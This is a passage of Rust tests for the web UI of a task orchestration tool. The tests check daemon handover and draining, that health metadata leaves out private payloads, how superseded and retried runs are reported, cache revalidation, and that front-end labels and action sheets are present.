22816        assert!(waiting_on.contains("cd51"), "{waiting_on}");
22817    }
22818
22819    fn idle_ui(home: &TempDir) -> Ui {
22820        let runs = home.path().join("runs");
22821        std::fs::create_dir_all(&runs).expect("runs dir");
22822        Ui::new(
22823            Queue::at(home.path().join("queue")),
22824            Questions::at(home.path().join("questions")),
22825            Talks::at(home.path().join("talks")),
22826            runs,
22827            home.path().to_path_buf(),
22828            PathBuf::from("/repo/magi"),
22829        )
22830        .with_launch(launch_idle)
22831    }
22832
22833    #[tokio::test]
22834    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
22835        let home = TempDir::new().expect("temp home");
22836        let ui = idle_ui(&home);
22837        let lease = crate::worker::try_lease(home.path(), "scheduler")
22838            .expect("scheduler lease")
22839            .expect("free");
22840        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
22841            .expect("request stop");
22842        let error = ui
22843            .start_detached_loop()
22844            .await
22845            .expect_err("transition is still live");
22846        assert_eq!(error.status, StatusCode::CONFLICT);
22847        assert!(error.message.contains("still running or stopping"));
22848        assert_eq!(
22849            crate::worker::control(home.path(), "scheduler").unwrap(),
22850            Some(crate::worker::Control::Stop)
22851        );
22852        drop(lease);
22853    }
22854
22855    #[tokio::test]
22856    async fn handover_releases_listener_without_waiting_for_execution_leases() {
22857        let home = TempDir::new().expect("temp home");
22858        let ui = idle_ui(&home);
22859        let turns = ui
22860            .begin_talk_turn("active-chat")
22861            .expect("claim")
22862            .expect("free");
22863        let execution = crate::worker::try_lease(home.path(), "active-task")
22864            .expect("execution lease")
22865            .expect("free");
22866        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22867            .await
22868            .expect("bind loopback");
22869        let address = listener.local_addr().expect("address");
22870        let admissions = Arc::clone(&ui.admissions);
22871        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22872        let successor_started = std::sync::atomic::AtomicBool::new(false);
22873        tokio::time::timeout(
22874            Duration::from_secs(2),
22875            hand_over(home.path(), &admissions, served, || {
22876                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
22877                Ok(1)
22878            }),
22879        )
22880        .await
22881        .expect("restart must not wait for execution")
22882        .expect("handover");
22883        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
22884        // BSD may retain the address briefly after listener release. The real
22885        // successor uses the same bounded bind retry rather than a one-shot bind.
22886        let successor = bind_waiting(address)
22887            .await
22888            .expect("successor binds released address");
22889        assert_eq!(successor.local_addr().unwrap(), address);
22890        assert!(turns.owns(), "the chat lease survives restart");
22891        assert!(
22892            crate::worker::try_lease(home.path(), "active-task")
22893                .unwrap()
22894                .is_none()
22895        );
22896        drop(execution);
22897        drop(turns);
22898    }
22899
22900    #[tokio::test]
22901    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
22902        let home = TempDir::new().expect("temp home");
22903        let ui = idle_ui(&home);
22904        let admission = ui.begin_admission().expect("admit send");
22905        let turn = ui
22906            .begin_talk_turn("active-chat")
22907            .expect("claim")
22908            .expect("free");
22909        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22910            .await
22911            .expect("bind loopback");
22912        let address = listener.local_addr().expect("address");
22913        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
22914        let successor_called = std::sync::atomic::AtomicBool::new(false);
22915        let handover = hand_over(home.path(), &ui.admissions, served, || {
22916            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
22917            Ok(1)
22918        });
22919        tokio::pin!(handover);
22920        // Poll exactly to the writer waiting on our admission guard. This
22921        // pins the race without sleeps or assumptions about task scheduling.
22922        std::future::poll_fn(|cx| {
22923            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
22924            std::task::Poll::Ready(())
22925        })
22926        .await;
22927        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
22928        assert!(
22929            ui.begin_admission().is_err(),
22930            "new ingress cannot race the drain"
22931        );
22932        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
22933        drop(admission);
22934        tokio::time::timeout(Duration::from_secs(2), handover)
22935            .await
22936            .expect("only publication may delay restart")
22937            .expect("handover");
22938        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
22939        assert!(
22940            turn.owns(),
22941            "the detached chat turn is not awaited or cancelled"
22942        );
22943        assert!(
22944            ui.begin_admission().is_err(),
22945            "old accepted connections stay closed"
22946        );
22947        drop(turn);
22948    }
22949
22950    #[test]
22951    fn health_worker_metadata_never_contains_payload_or_result() {
22952        let view = WorkerView::from(crate::worker::Job {
22953            id: "job".into(),
22954            sequence: 1,
22955            kind: "service".into(),
22956            key: "maintenance".into(),
22957            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
22958            generation: "generation".into(),
22959            version: Some("1.2.3".into()),
22960            status: crate::worker::Status::Running,
22961            result: Some("private diagnostics".into()),
22962            pid: Some(4242),
22963            created_at: 1,
22964            finished_at: None,
22965        });
22966        let value = serde_json::to_value(view).expect("serialize public metadata");
22967        assert_eq!(value["version"], "1.2.3");
22968        assert_eq!(value["pid"], 4242);
22969        assert!(value.get("payload").is_none());
22970        assert!(value.get("result").is_none());
22971        assert!(!value.to_string().contains("private"));
22972    }
22973
22974    #[test]
22975    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
22976        let home = TempDir::new().expect("temp home");
22977        let ui = idle_ui(&home);
22978        std::fs::write(
22979            home.path().join("daemon.json"),
22980            serde_json::json!({
22981                "schema": 2, "pid": 4242, "worker_protocol": 1,
22982                "updated_at": Timestamp::now().to_string(), "idle": true,
22983            })
22984            .to_string(),
22985        )
22986        .expect("status");
22987        let reading = daemon::read_status(home.path());
22988        assert!(Foreign::of(reading.as_ref()).is_none());
22989        let view = ui.runtime_loop_view(reading, &[]);
22990        assert!(view.running);
22991        assert!(view.owned);
22992    }
22993
22994    #[test]
22995    fn only_an_explicit_one_requests_a_resume() {
22996        assert!(!resume_requested(None));
22997        assert!(!resume_requested(Some("0".into())));
22998        assert!(!resume_requested(Some("".into())));
22999        assert!(resume_requested(Some("1".into())));
23000    }
23001
23002    #[test]
23003    fn an_error_is_visible_from_where_the_button_is() {
23004        // The alert used to sit in the flow under the header. On a phone
23005        // scrolled 13 500 px down to a run's action sheet that is off screen,
23006        // so tapping Resume and being told "the loop is running run b455
23007        // right now" looked exactly like a button that did nothing.
23008        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
23009            ..APP_CSS.find(".alert-text").expect(".alert-text")];
23010        assert!(
23011            alert.contains("position: fixed"),
23012            "an error about the thing under your thumb has to be visible from \
23013             where your thumb is: {alert}"
23014        );
23015        assert!(
23016            alert.contains("z-index: 25"),
23017            "above the dock (20) and the run-actions FAB (15), so neither \
23018             buries it: {alert}"
23019        );
23020        assert!(
23021            alert.contains("var(--tap)"),
23022            "and clear of the dock and the home indicator: {alert}"
23023        );
23024        // The FAB sits at the same height on the right. An error that covered
23025        // it would hide the button the operator reaches for next.
23026        assert!(
23027            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
23028            "the FAB's column stays free: {alert}"
23029        );
23030    }
23031
23032    #[tokio::test]
23033    async fn an_older_attempt_says_what_replaced_it() {
23034        let fx = Fixture::start().await;
23035        let q = fx.queue();
23036        let runs = fx.runs();
23037        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23038        write_run(&runs, first, RunStatus::Stalled);
23039        write_run(&runs, second, RunStatus::Blocked);
23040
23041        let mut t = Task::new(
23042            "one task".to_owned(),
23043            "do it".to_owned(),
23044            PathBuf::from("/repo"),
23045            Source::Human,
23046        );
23047        t.runs = vec![first.to_owned(), second.to_owned()];
23048        q.put(&mut t).expect("put");
23049
23050        // Two cards with the same title and no hint which is which was the
23051        // question: "why are there two of the same, one stalled and one
23052        // blocked?" The older one now names its replacement.
23053        let rows = fx.get("/api/runs").await.json();
23054        let by = |short: &str| -> Value {
23055            rows.as_array()
23056                .unwrap()
23057                .iter()
23058                .find(|r| r["short"] == short)
23059                .cloned()
23060                .unwrap_or(Value::Null)
23061        };
23062        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
23063        assert!(
23064            by("bbbb")["superseded_by"].is_null(),
23065            "the latest attempt is not superseded by anything"
23066        );
23067        // Front end: the note has to be rendered, not just carried.
23068        assert!(APP_JS.contains("run.superseded_by"));
23069        assert!(APP_JS.contains("Superseded by"));
23070    }
23071
23072    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
23073        let mut t = Task::new(
23074            "one task".to_owned(),
23075            "do it".to_owned(),
23076            PathBuf::from("/repo"),
23077            Source::Human,
23078        );
23079        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
23080        t.status = status;
23081        t
23082    }
23083
23084    #[test]
23085    fn source_link_picks_the_page_that_filed_the_task() {
23086        let agent = |node: &str| Source::Agent {
23087            run: "20260904-014455-ab12".to_owned(),
23088            node: node.to_owned(),
23089        };
23090        let chat = source_link(&agent("chat")).expect("chat link");
23091        assert_eq!(chat.kind, "chat");
23092        assert_eq!(chat.id, "20260904-014455-ab12");
23093        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
23094        let run = source_link(&agent("implement")).expect("run link");
23095        assert_eq!(
23096            (run.kind, run.href.as_str()),
23097            ("run", "#/runs/20260904-014455-ab12")
23098        );
23099        assert_eq!(source_link(&Source::Human), None);
23100        assert_eq!(
23101            source_link(&Source::Issue {
23102                number: 3,
23103                repo: "o/r".to_owned()
23104            }),
23105            None
23106        );
23107        let odd = source_link(&Source::Agent {
23108            run: "a b/c".to_owned(),
23109            node: "chat".to_owned(),
23110        })
23111        .expect("link");
23112        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
23113    }
23114
23115    #[test]
23116    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
23117        assert!(
23118            !APP_JS.contains("src.node === \"chat\""),
23119            "inline href rule is back"
23120        );
23121        assert!(
23122            APP_JS.matches("sourceLinkOf(").count() >= 4,
23123            "helper must serve every page"
23124        );
23125        assert!(
23126            APP_JS.matches("openChatLink(").count() >= 3,
23127            "the run page still needs its explicit chat link"
23128        );
23129        assert!(
23130            !APP_JS.contains("const openChat = el("),
23131            "the Queue card duplicates its source label link again"
23132        );
23133        assert!(
23134            APP_JS.contains("metaKids.push(link ? el(\"a\""),
23135            "the task page must link a chat source label too"
23136        );
23137    }
23138
23139    #[test]
23140    fn task_ref_carries_the_source_link_for_a_chat_task() {
23141        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23142        t.source = Source::Agent {
23143            run: "20260904-014455-ab12".to_owned(),
23144            node: "chat".to_owned(),
23145        };
23146        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
23147        let v = serde_json::to_value(&out).expect("json");
23148        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
23149        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
23150        assert_eq!(v["source_label"], t.source.label());
23151
23152        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23153        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
23154            .expect("json");
23155        assert!(v["source_link"].is_null(), "{v}");
23156    }
23157
23158    #[test]
23159    fn task_view_serializes_source_link() {
23160        let mut t = Task::new(
23161            "t".to_owned(),
23162            "t".to_owned(),
23163            PathBuf::from("/repo"),
23164            Source::Agent {
23165                run: "20260901-000000-aaaa".to_owned(),
23166                node: "implement".to_owned(),
23167            },
23168        );
23169        t.runs.clear();
23170        let v = serde_json::to_value(TaskView::from(t)).expect("json");
23171        assert_eq!(v["source_link"]["kind"], "run", "{v}");
23172        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
23173    }
23174
23175    #[test]
23176    fn task_view_serializes_urgent_flag() {
23177        let mut t = Task::new(
23178            "t".to_owned(),
23179            "t".to_owned(),
23180            PathBuf::from("/repo"),
23181            Source::Human,
23182        );
23183        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
23184        assert_eq!(v["urgent"], false, "{v}");
23185        t.urgent = true;
23186        let v = serde_json::to_value(TaskView::from(t)).expect("json");
23187        assert_eq!(v["urgent"], true, "{v}");
23188        assert!(APP_JS.contains("task.urgent === true"));
23189    }
23190
23191    #[tokio::test]
23192    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
23193        let fx = Fixture::start().await;
23194        let runs = fx.runs();
23195        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23196        write_run(&runs, old, RunStatus::Blocked);
23197        write_run(&runs, new, RunStatus::Merged);
23198        let mut t = outcome_task(&[old, new], TaskStatus::Done);
23199        fx.queue().put(&mut t).expect("put");
23200
23201        let view = fx.get(&format!("/api/runs/{old}")).await.json();
23202        let task = &view["task"];
23203        assert_eq!(task["status"], "done");
23204        assert_eq!(task["is_latest"], false);
23205        assert_eq!(task["latest"]["short"], "bbbb");
23206        assert_eq!(task["finished_by"]["id"], new);
23207        assert_eq!(task["finished_by"]["outcome"], "merged");
23208        assert_eq!(task["closed_by_hand"], false);
23209        assert_eq!(view["status"], "blocked", "the run keeps its own status");
23210        assert!(APP_JS.contains("finished_by"));
23211        assert!(APP_JS.contains("superseded by run"));
23212    }
23213
23214    #[tokio::test]
23215    async fn the_latest_run_reports_a_held_task_without_a_successor() {
23216        let fx = Fixture::start().await;
23217        let runs = fx.runs();
23218        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23219        write_run(&runs, old, RunStatus::Stalled);
23220        write_run(&runs, new, RunStatus::Blocked);
23221        let mut t = outcome_task(&[old, new], TaskStatus::Held);
23222        fx.queue().put(&mut t).expect("put");
23223
23224        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
23225        assert_eq!(task["status"], "held");
23226        assert_eq!(task["is_latest"], true);
23227        assert!(task["latest"].is_null());
23228        assert!(task["finished_by"].is_null());
23229        assert_eq!(task["closed_by_hand"], false);
23230    }
23231
23232    #[tokio::test]
23233    async fn a_direct_run_has_no_task_outcome() {
23234        let fx = Fixture::start().await;
23235        let runs = fx.runs();
23236        let id = "20260901-000000-aaaa";
23237        write_run(&runs, id, RunStatus::Blocked);
23238        let view = fx.get(&format!("/api/runs/{id}")).await.json();
23239        assert!(view["task"].is_null());
23240    }
23241
23242    #[test]
23243    fn task_outcome_does_not_guess_a_finishing_run() {
23244        let a = "20260901-000000-aaaa";
23245        let b = "20260901-000000-bbbb";
23246        let c = "20260901-000000-cccc";
23247        let dir = tempfile::tempdir().expect("tempdir");
23248        write_run(dir.path(), a, RunStatus::Blocked);
23249        write_run(dir.path(), b, RunStatus::VerifiedNoop);
23250        // `c` has no record: unreadable.
23251        let read = |id: &str| read_run(dir.path(), id).ok();
23252        // Neither a blocked run nor a no-op finished the task; the newest run is
23253        // unreadable and still named.
23254        let t = outcome_task(&[a, b, c], TaskStatus::Done);
23255        let out = task_outcome(&t, a, 3, read);
23256        assert!(out.finished_by.is_none());
23257        assert!(out.closed_by_hand);
23258        let latest = out.latest.expect("latest");
23259        assert_eq!(latest.id, c);
23260        assert_eq!(latest.status, None);
23261        assert_eq!(latest.outcome, "record unreadable");
23262
23263        // A Ready run settles the task as done, so it is named as the finisher.
23264        write_run(dir.path(), c, RunStatus::Ready);
23265        let t = outcome_task(&[a, c], TaskStatus::Done);
23266        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
23267        assert_eq!(out.finished_by.expect("finisher").id, c);
23268        assert!(!out.closed_by_hand);
23269
23270        // A resumed run id repeats: it is still the latest by id.
23271        let t = outcome_task(&[a, b, a], TaskStatus::Held);
23272        assert!(task_outcome(&t, a, 3, read).is_latest);
23273    }
23274
23275    #[tokio::test]
23276    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
23277        // The list route has known this since the card fix above; the detail
23278        // route — what an operator actually opens from a notification about
23279        // a blocked run — did not, and went on showing a bare red BLOCKED
23280        // chip for a run a retry had already finished.
23281        let fx = Fixture::start().await;
23282        let q = fx.queue();
23283        let runs = fx.runs();
23284        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
23285        write_run(&runs, first, RunStatus::Blocked);
23286        write_run(&runs, second, RunStatus::Merged);
23287
23288        let mut t = Task::new(
23289            "one task".to_owned(),
23290            "do it".to_owned(),
23291            PathBuf::from("/repo"),
23292            Source::Human,
23293        );
23294        t.runs = vec![first.to_owned(), second.to_owned()];
23295        q.put(&mut t).expect("put");
23296
23297        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
23298        assert_eq!(earlier["superseded_by"], "dddd");
23299        assert_eq!(earlier["latest_attempt"]["id"], second);
23300        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
23301        assert_eq!(
23302            earlier["latest_attempt"]["resolved"], true,
23303            "the run that replaced it landed, so this one reads as settled"
23304        );
23305
23306        let later = fx.get(&format!("/api/runs/{second}")).await.json();
23307        assert!(
23308            later["superseded_by"].is_null(),
23309            "the latest attempt is not superseded by anything"
23310        );
23311        assert!(
23312            later["latest_attempt"].is_null(),
23313            "the latest attempt has no later attempt of its own"
23314        );
23315
23316        // Front end: the detail page has to read the field this route now
23317        // carries, downgrade the chip, and link to the run that replaced it —
23318        // not just repeat the list card's own logic under a different name.
23319        // The link is built off `latest_attempt.id`, the server-resolved
23320        // full id, never a bare short string a client would have to guess a
23321        // full run from.
23322        assert!(APP_JS.contains("run.latest_attempt"));
23323        assert!(APP_JS.contains("data-superseded"));
23324        assert!(APP_JS.contains("#/runs/${latest.id}"));
23325    }
23326
23327    #[tokio::test]
23328    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
23329        // A -> B -> C, all Blocked except the last. A's immediate successor
23330        // (superseded_by) is B, which is itself unresolved; what an operator
23331        // opening A's page actually needs is where the task's story stands
23332        // *now* - C, not B - without depending on whether C happens to be in
23333        // whatever page of /api/runs the client last cached.
23334        let fx = Fixture::start().await;
23335        let q = fx.queue();
23336        let runs = fx.runs();
23337        let (a, b, c) = (
23338            "20260901-000000-aaaa",
23339            "20260901-000000-bbbb",
23340            "20260901-000000-cccc",
23341        );
23342        write_run(&runs, a, RunStatus::Blocked);
23343        write_run(&runs, b, RunStatus::Blocked);
23344        write_run(&runs, c, RunStatus::Merged);
23345
23346        let mut t = Task::new(
23347            "retried twice".to_owned(),
23348            "do it".to_owned(),
23349            PathBuf::from("/repo"),
23350            Source::Human,
23351        );
23352        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
23353        q.put(&mut t).expect("put");
23354
23355        let view = fx.get(&format!("/api/runs/{a}")).await.json();
23356        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
23357        assert_eq!(
23358            view["latest_attempt"]["id"], c,
23359            "the chain's current head, not the intermediate Blocked retry"
23360        );
23361        assert_eq!(view["latest_attempt"]["resolved"], true);
23362
23363        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
23364        assert_eq!(mid["latest_attempt"]["id"], c);
23365        assert_eq!(mid["latest_attempt"]["resolved"], true);
23366    }
23367
23368    #[tokio::test]
23369    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
23370        let fx = Fixture::start().await;
23371        let q = fx.queue();
23372        let runs = fx.runs();
23373
23374        // Still Blocked: the task is not resolved, so the older run must not
23375        // read as settled either.
23376        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
23377        write_run(&runs, still_blocked_a, RunStatus::Blocked);
23378        write_run(&runs, still_blocked_b, RunStatus::Blocked);
23379        let mut t1 = Task::new(
23380            "still stuck".to_owned(),
23381            "do it".to_owned(),
23382            PathBuf::from("/repo"),
23383            Source::Human,
23384        );
23385        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
23386        q.put(&mut t1).expect("put");
23387        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
23388        assert_eq!(view1["latest_attempt"]["resolved"], false);
23389        assert_eq!(view1["latest_attempt"]["status"], "blocked");
23390        assert_eq!(view1["latest_attempt"]["done"], true);
23391
23392        // Still running: the successor exists and must be reported as such.
23393        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
23394        write_run(&runs, run_a, RunStatus::Blocked);
23395        write_run(&runs, run_b, RunStatus::Implementing);
23396        let mut t3 = Task::new(
23397            "retrying".to_owned(),
23398            "do it".to_owned(),
23399            PathBuf::from("/repo"),
23400            Source::Human,
23401        );
23402        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
23403        q.put(&mut t3).expect("put");
23404        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23405        assert_eq!(view3["latest_attempt"]["id"], run_b);
23406        assert_eq!(view3["latest_attempt"]["resolved"], false);
23407        assert_eq!(view3["latest_attempt"]["done"], false);
23408
23409        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
23410        // to check - not a confirmed finish, so this must not read as
23411        // resolved either, even though the run is done in the sense that
23412        // nothing is still running.
23413        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23414        write_run(&runs, noop_a, RunStatus::Blocked);
23415        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23416        let mut t2 = Task::new(
23417            "claims done".to_owned(),
23418            "do it".to_owned(),
23419            PathBuf::from("/repo"),
23420            Source::Human,
23421        );
23422        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23423        q.put(&mut t2).expect("put");
23424        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23425        assert_eq!(
23426            view2["latest_attempt"]["resolved"], false,
23427            "an unverified no-op claim must not read as a confirmed finish"
23428        );
23429
23430        // Front end: an unresolved successor must not carry the "finished
23431        // this work" note or the muted chip treatment.
23432        assert!(APP_JS.contains("latest.resolved"));
23433        // ...but the link to it shows as soon as it exists, labelled by state
23434        // and without the "finished" wording or the muted chip.
23435        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23436        assert!(APP_JS.contains("Latest attempt: "));
23437        assert!(APP_JS.contains("in flight"));
23438        assert!(APP_JS.contains("not resolved"));
23439    }
23440
23441    #[tokio::test]
23442    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23443        let fx = Fixture::start().await;
23444        // No cache header at all meant browsers invented their own policy,
23445        // and one did: a phone went on showing "Candidates must be folded
23446        // before deleting. Run `magi fold` first." - deleted two releases
23447        // earlier - from a deck that no longer contained the sentence. The
23448        // button it named was right there, and unreachable.
23449        let js = fx.get("/app.js").await;
23450        assert_eq!(js.status, 200);
23451        let tag = js
23452            .header("etag")
23453            .expect("an etag to revalidate against")
23454            .to_owned();
23455        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23456        assert_eq!(
23457            js.header("cache-control"),
23458            Some("no-cache, must-revalidate"),
23459            "the phone has to ask every time"
23460        );
23461
23462        // And the asking has to be cheap, or `must-revalidate` just means
23463        // "send the whole interface on every load".
23464        let again = fx
23465            .get_with("/app.js", &[("if-none-match", tag.as_str())])
23466            .await;
23467        assert_eq!(
23468            again.status, 304,
23469            "a deck it already has costs one round trip"
23470        );
23471        assert!(again.body.is_empty(), "304 carries no body");
23472
23473        // A weakened tag from a proxy still matches; a different build does
23474        // not, which is the case that has to deliver the new interface.
23475        let weak = fx
23476            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23477            .await;
23478        assert_eq!(weak.status, 304);
23479        let stale = fx
23480            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23481            .await;
23482        assert_eq!(stale.status, 200, "an older build must be replaced");
23483        assert!(stale.body.contains("renderRunActions"));
23484    }
23485
23486    #[test]
23487    fn the_task_detail_has_an_actions_fab_and_sheet() {
23488        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23489        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23490        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23491        // Shown only on the task route, closed everywhere else.
23492        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23493        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23494        // Refreshed whenever the detail redraws, including the loading state.
23495        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23496        assert!(APP_JS.contains("renderTaskActions(null);"));
23497        // Same renderers and routes as the Queue card, no new endpoint.
23498        let sheet = APP_JS
23499            .find("function renderTaskActions")
23500            .expect("sheet renderer");
23501        let body = &APP_JS[sheet..sheet + 3000];
23502        assert!(body.contains("changePriority("));
23503        assert!(body.contains("openTaskEdit(task)"));
23504        assert!(body.contains("renderTaskHoldBox(host"));
23505        assert!(body.contains("renderTaskDoneBox(host"));
23506        assert!(body.contains("renderTaskDeleteBox(host"));
23507        assert!(APP_JS.contains("API.priority(id)"));
23508        assert!(APP_JS.contains("API.deleteTask(id)"));
23509        // A deleted task sends the operator back to the queue.
23510        assert!(APP_JS.contains("location.hash = \"#/queue\""));
23511        // A refusal is shown inside the sheet.
23512        assert!(APP_JS.contains("$(\"task-actions-error\")"));
23513    }
23514
23515    #[test]
23516    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23517        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23518        let actions = INDEX_HTML
23519            .find("id=\"run-actions-box\"")
23520            .expect("actions box");
23521        assert!(task < actions, "the task entry comes first in the sheet");
23522        assert!(APP_JS.contains("renderRunTaskEntry"));
23523        assert!(APP_JS.contains("\"Open task \""));
23524        // A run without a task says why there is nothing to open.
23525        assert!(APP_JS.contains("started directly, no task"));
23526        assert!(APP_JS.contains("sheet-task-link"));
23527        assert!(APP_JS.contains("task-chip-link"));
23528    }
23529
23530    #[test]
23531    fn the_deck_never_sends_the_operator_to_a_terminal() {
23532        // The whole point of the phone UI is that a terminal is not needed.
23533        // The delete control used to answer with "Run `magi fold` first."
23534        assert!(
23535            !APP_JS.contains("Run `magi fold` first"),
23536            "the deck must offer the fold, not prescribe a shell command"
23537        );
23538        assert!(APP_JS.contains("foldRun:"));
23539        assert!(APP_JS.contains("resumeRun:"));
23540        assert!(APP_JS.contains("renderRunActions"));
23541
23542        // Folding is destructive and armed in two steps, like deleting.
23543        assert!(APP_JS.contains("armedFold"));
23544        assert!(APP_JS.contains("Yes, fold worktrees"));
23545
23546        // And the copy has to say that the two actions are opposites, because
23547        // folding throws away exactly what a resume would continue from.
23548        assert!(APP_JS.contains("can no longer be resumed"));
23549    }
23550
23551    #[test]
23552    fn a_finished_run_explains_itself_with_its_own_last_line() {
23553        // The deck used to answer "why did this stop?" with a sentence chosen
23554        // by status alone. Run e633 stalled because two judges answered with
23555        // the wrong JSON shape and its card said "The panel collapsed on
23556        // agent quota" - with `quota: []` in the record and a quota-loss
23557        // counter right above it that correctly said nothing.
23558        assert!(
23559            !APP_JS.contains("collapsed on agent quota"),
23560            "a stall must not be explained by a cause the deck did not check"
23561        );
23562        assert!(
23563            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23564            "and a block must not offer a guess with an `or` in it"
23565        );
23566
23567        // The reason it does have is `run.event`, which must reach finished
23568        // runs: gating it on movement hid the recorded truth at the one moment
23569        // the operator is reading the card to find out what happened.
23570        assert!(
23571            APP_JS.contains("setText(r.event, run.event || \"\")"),
23572            "the run's last line is rendered unconditionally"
23573        );
23574        assert!(
23575            !APP_JS.contains("moving && run.event"),
23576            "and never gated on the run still moving"
23577        );
23578
23579        // Quota keeps its own counter, fed by the number actually recorded.
23580        assert!(APP_JS.contains("lost to quota"));
23581    }
23582
23583    /// The runs tree (section) and the state chips (waiting/done) are two
23584    /// independent lenses ANDed together in `renderRuns`, and some pairings
23585    /// can never both be true for any run - every "Landed"/"Ended" run is
23586    /// done by construction, so pairing either with "Active" or "In flight"
23587    /// always rendered zero cards with the filter bar still claiming
23588    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
23589    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
23590    /// a handful of (waiting, status) shapes standing in for the run
23591    /// lifecycle, because `cargo test` cannot execute the front end.
23592    ///
23593    /// That stand-in list is itself the part that drifted twice in review:
23594    /// once shipped with `waiting: true` paired with a done status the
23595    /// lifecycle cannot produce, then over-corrected into treating every
23596    /// waiting run as never done - which made "Waiting on you" look
23597    /// incompatible with "Done" even for the one real, reachable shape
23598    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
23599    /// that combination. This test parses the shapes and the done-rule back
23600    /// out of `APP_JS`, reimplements `runSection` and the five state
23601    /// predicates independently in Rust, and checks the resulting
23602    /// section/filter compatibility table against the lifecycle rules by
23603    /// hand - so either direction of drift fails it again.
23604    #[test]
23605    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23606        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23607        let shapes_body_start =
23608            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23609        let shapes_close = APP_JS[shapes_body_start..]
23610            .find("].map(")
23611            .expect("the shape list is closed by its done-computing .map(...)")
23612            + shapes_body_start;
23613        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23614
23615        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23616        for entry in shapes_src.split('{').skip(1) {
23617            let waiting = entry.contains("waiting: true");
23618            let dead = entry.contains("live: \"dead\"");
23619            let status_at =
23620                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
23621            let status_end = entry[status_at..]
23622                .find('"')
23623                .expect("the status string is closed")
23624                + status_at;
23625            let parked = entry.contains("display_status: \"parked\"");
23626            shapes.push((
23627                waiting,
23628                entry[status_at..status_end].to_string(),
23629                dead,
23630                parked,
23631            ));
23632        }
